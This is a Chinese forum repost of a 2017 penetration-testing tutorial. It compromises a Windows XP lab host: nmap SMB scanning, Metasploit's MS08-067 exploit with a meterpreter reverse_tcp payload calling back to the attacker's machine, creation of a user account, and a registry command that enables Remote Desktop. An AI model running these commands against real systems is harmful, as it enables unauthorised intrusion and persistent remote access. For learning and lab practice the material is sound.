搜索

[20712] 2017-04-18_nmap结合metasploit入侵Xp内网渗透

文档创建者：s7ckTeam
浏览次数：75
最后更新：2025-01-18
2017-04-18_nmap结合metasploit入侵Xp内网渗透 n m a p 结 合 m e t a s p l o i t 入 侵 X p   内 网 渗 透 L e m o n S e c   2 0 1 7 - 0 4 - 1 8 这 个 i p   1 9 2 . 1 6 8 . 1 5 9 . 1 4 0 就 是 我 们 此 次 渗 透 测 试 的 目 标 在 k a l i 上 打 开 终 端 输 入 i f c o n f i g 查 看 一 下 本 机 的 i p 地 址
然 后 打 开 我 们 的 m s f   来 调 用 n m a p 来 扫 描     输 入 命 令   n m a p     - s C   1 9 2 . 1 6 8 . 1 5 9 . 1 4 0       （ p s : 这 条 命 令 的 功 能 主 要 是 搜 集 各 种 应 用 服 务 的 信 息 ）   如 图   开 启 了 s m t p 服 务     这 样 我 们 你 可 以 通 过 n m a p 来 爆 破   当 然 这 次 我 们 不 讲 这 个 爆 破 从 扫 描 结 果   我 们 可 以 得 知 开 启   了   1 3 5   1 3 9   4 4 5 这 些 非 常   危 险 的 端 口   并 且 探 测 出 目 标 主 机 的 系 统 是 x p n m a p   - s c r i p t = s m b - c h e c k - v u l n s . n s e 1 9 2 . 1 6 8 . 1 5 9 . 1 4 0     然 后 我 们 用 n m a p 的 一 个 漏 洞 扫 描 脚 本 来 扫 描 主 机   （ p s : 不 得 不 感 叹 n m a p 确 实 强 大 ）
如 图 出 现 了 一 个 非 常 危 险 且 著 名 的 漏 洞   就 是   M S 0 8 - 0 6 7 远 程 溢 出 漏 洞 终 于 轮 到 我 们 的 m s f 登 场 了     我 们 输 入 命 令 s e a r c h   m s 0 8 _ 0 6 7   来 搜 索 这 个 漏 洞 利 用 模 块   （ p s :   s e a r c h     就 是 搜 索 的 意 思 ）   显 然   我 们 已 经 搜 索 到 了 就 是 这 个   e x p l o i t / w i n d o w s / s m b / m s 0 8 _ 0 6 7 _ n e t a p i u s e     e x p l o i t / w i n d o w s / s m b / m s 0 8 _ 0 6 7 _ n e t a p i     来 调 用 这 个 模 块   （ p s :   u s e 就 是 使 用 的 意 思 ） 如 图   我 们 先 用 s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p 命 令 设 置 相 应 的 s h e l l c o d e s e t   R H O S T   1 9 2 . 1 6 8 . 1 5 9 . 1 4 0 目 标 主 机 的 i p s e t   L H O S T   1 9 2 . 1 6 8 . 1 5 9 . 1 2 9   本 机 i p 用 来 监 听 e x p l o i t ! 开 始 溢 出     如 图   已 经 建 立 了 一 个 会 话
然 后 输 入 s h e l l 进 入   x p 的 命 令 行 模 式 进 去 之 后   最 重 要 的   还 是 提 权   这 次 提 权 非 常 简 单   也 就 是 建 立 个 用 户 的 过 程   大 家 看 图 就 行   在 这 就 不 解 释 了 因 为 我 们 用 n m a p 扫 描 的 时 候   并 没 有 开 启 3 3 8 9 端 口     所 以 我 们 在 输 入 R E G   A D D H K L M S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l T e r m i n a l ”   “ S e r v e r   / v   f D e n y T S C o n n e c t i o n s   / t   R E G _ D W O R D   / d   0 0 0 0 0 0 0 0   / f   这 个 命 令 开 启 我 们 在 打 开   r e d e s k t o p 这 个   k a l i 自 带 的 远 程 桌 面 连 接 软 件
转 自 ; 黑 吧 安 全 网 ( h t t p : / / w w w . m y h a c k 5 8 . c o m ) 查 看 更 多 文 章 ， 关 注 下 方 二 维 码
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理